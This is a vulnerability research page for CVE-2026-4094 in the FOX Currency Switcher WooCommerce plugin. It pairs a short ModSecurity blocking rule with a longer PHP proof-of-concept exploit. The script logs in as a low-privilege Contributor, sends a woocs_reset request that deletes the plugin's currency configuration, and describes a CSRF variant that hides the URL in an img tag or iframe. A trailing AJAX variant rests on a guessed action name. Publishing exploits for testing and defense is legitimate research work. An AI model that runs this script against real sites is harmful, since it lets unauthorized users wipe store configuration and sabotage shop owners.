CVE-2026-4094: FOX – Currency Switcher Professional for WooCommerce <= 1.4.5 – Missing Authorization to Authenticated (Contributor+) Configuration Deletion (woocommerce-currency-switcher)

# Atomic Edge WAF Rule - CVE-2026-4094 (metadata-based)
# Block exploitation by matching the woocs_reset parameter on wp-admin pages
# This covers both direct authenticated attacks and CSRF scenarios
SecRule REQUEST_URI "@rx ^/wp-admin/" 
  "id:20264094,phase:2,deny,status:403,chain,msg:'CVE-2026-4094 FOX Currency Switcher configuration deletion via woocs_reset parameter',severity:'CRITICAL',tag:'CVE-2026-4094'"
  SecRule ARGS_GET:woocs_reset "@rx ^.{1,}$" "t:none,chain"
    SecRule REQUEST_METHOD "@streq GET" "t:none"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4094 - FOX - Currency Switcher Professional for WooCommerce - Missing Authorization to Configuration Deletion

// Configuration
$target_url = 'https://example.com'; // Change this to the target WordPress site
$username = 'contributor'; // WordPress user with Contributor role or higher
$password = 'password'; // Password for the user

// Initialize cURL
$ch = curl_init();

// Step 1: Authenticate
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$login_response = curl_exec($ch);

// Check if login was successful (basic check)
if (strpos($login_response, 'Dashboard') === false && strpos($login_response, 'wp-admin') === false) {
    die('Login failed. Check credentials or target URL.');
}

echo "Authentication successful.n";

// Step 2: Trigger the vulnerability by visiting any wp-admin page with woocs_reset parameter
// The vulnerability deletes multi-currency configuration when an admin page is loaded with this parameter
$exploit_url = $target_url . '/wp-admin/index.php?woocs_reset=1';

curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, false); // GET request
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$exploit_response = curl_exec($ch);

if (curl_error($ch)) {
    die('cURL error: ' . curl_error($ch));
}

// Check response HTTP status
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "HTTP Response Code: " . $http_code . "n";

// Check for success indicators (since no direct output, we rely on the configuration being deleted)
// In a real test, verify by checking if currency switcher settings are empty
if ($http_code == 200 || $http_code == 302) {
    echo "Exploit request sent successfully.n";
    echo "Note: The vulnerability triggers silently. Verify by checking if the multi-currency configuration has been deleted.n";
    echo "CSRF variant: An attacker could embed this URL (" . $exploit_url . ") in an img tag or iframe to trick an admin into triggering the reset without visiting the crafted page.n";
} else {
    echo "Exploit request may have failed. Check if the target is vulnerable.n";
}

// Cleanup
curl_close($ch);

// ===== ALTERNATIVE: Direct reset via admin-ajax.php (if applicable) =====
// If the plugin also exposes an AJAX endpoint, the following could be used
// $ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// $ajax_data = array(
//     'action' => 'woocs_reset_config', // Inferred action name
//     'nonce' => '' // No nonce required per vulnerability
// );
// curl_setopt($ch, CURLOPT_URL, $ajax_url);
// curl_setopt($ch, CURLOPT_POST, true);
// curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
// $ajax_response = curl_exec($ch);

?>